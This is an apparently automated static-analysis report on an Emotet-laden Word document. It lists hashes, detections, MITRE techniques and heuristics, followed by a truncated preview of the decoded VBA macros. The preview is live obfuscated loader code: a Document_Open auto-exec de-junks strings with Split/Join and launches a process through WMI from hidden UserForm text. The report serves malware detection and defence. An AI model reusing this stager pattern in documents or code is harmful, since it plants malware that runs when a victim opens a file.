Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c3573ffcaeefd7e6…

MALICIOUS

Office (OLE)

226.5 KB Created: 2020-08-11 06:32:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 97a0bd9fde28613755dd1ead609562f5 SHA-1: 21477ef5d1f8abe628d918a54ca35e1589d405f2 SHA-256: c3573ffcaeefd7e6372e35308e9458250fbfe6e10fa8f60a5e4d1c9fcba0a67c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager, which are hallmarks of Emotet. The VBA code is heavily obfuscated but appears designed to execute a payload. ClamAV also detected this file as Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9266816-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9266816-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4366 bytes
SHA-256: b2dc4ef4f006247be17f389b85206f1f7a8207c9209808aa2d087a96fbdcb35f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QZYUNubqpcdo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
WXWOVoifmvrnnrgc.JFZMOsuqzxnh
End Sub


Attribute VB_Name = "WXWOVoifmvrnnrgc"
Attribute VB_Base = "0{6F49D32F-C804-4F11-A040-CF0DBC01FF22}{1AA45F8D-10A0-498C-A5CD-14834258E4ED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function JFZMOsuqzxnh()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
MQZJCcliypsbtgfhmyd = WXWOVoifmvrnnrgc.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
UDWYRfhayfmsotmxtcs = ChrW(MQZJCcliypsbtgfhmyd + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
TGOMQxlvdbsnqnt = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + UDWYRfhayfmsotmxtcs + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + WXWOVoifmvrnnrgc.GHCGRkjialhdfuezff + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
OCEKYerxcbayanaxflu = BEPUCdcxenqk(TGOMQxlvdbsnqnt)
Dim JtF1ÔVIsgfW As Variant
Set UOIXFbrndordprq = CreateObject(OCEKYerxcbayanaxflu)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
XSIPRjctasguhb = WXWOVoifmvrnnrgc.WAWZPcprdyxjyhknjy.ControlTipText
Dim aKHZFGTowB As Currency
GEIDJzqiqxetkdmrd = m2m3b5 + (OCEKYerxcbayanaxflu + UDWYRfhayfmsotmxtcs + WXWOVoifmvrnnrgc.JQSOLsyademfpt.ControlTipText + XSIPRjctasguhb)
Dim fIspInaCW As String
JWSRFjrmbdlhshenxw = GEIDJzqiqxetkdmrd + WXWOVoifmvrnnrgc.GHCGRkjialhdfuezff
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set SQOSLkqtfnctffstyg = NZYZBnlkijimg(JWSRFjrmbdlhshenxw)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", UOIXFbrndordprq. _
Create(LPEZBuespjxqskc, XZAQJjhrqvkwod, SQOSLkqtfnctffstyg), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function LPEZBuespjxqskc()
n21bh3 = WXWOVoifmvrnnrgc.IYIORtcwagtoczhndve.Pages(vbOK).Caption
LPEZBuespjxqskc = BEPUCdcxenqk(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function NZYZBnlkijimg(ODUGLegugjkpownuet)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set NZYZBnlkijimg = CreateObject(ODUGLegugjkpownuet)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
NZYZBnlkijimg. _
showwindow = YBXHAiteprmuiauvzky + XYYJHbtokfkqzojfiy
Dim UMbU As Object
End Function
Function BEPUCdcxenqk(DEQWMbsmnhbaxji)
MJWFPzrcerjbcopzd = DEQWMbsmnhbaxji
Dim ZvdC As Currency
YDYTToplyoxneosnd = Split _
(MJWFPzrcerjbcopzd, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
LIWVLbgdpfjvdooovqu = mmm2 + Join(YDYTToplyoxneosnd, msnj2)
Dim r4áAANis
... (truncated)

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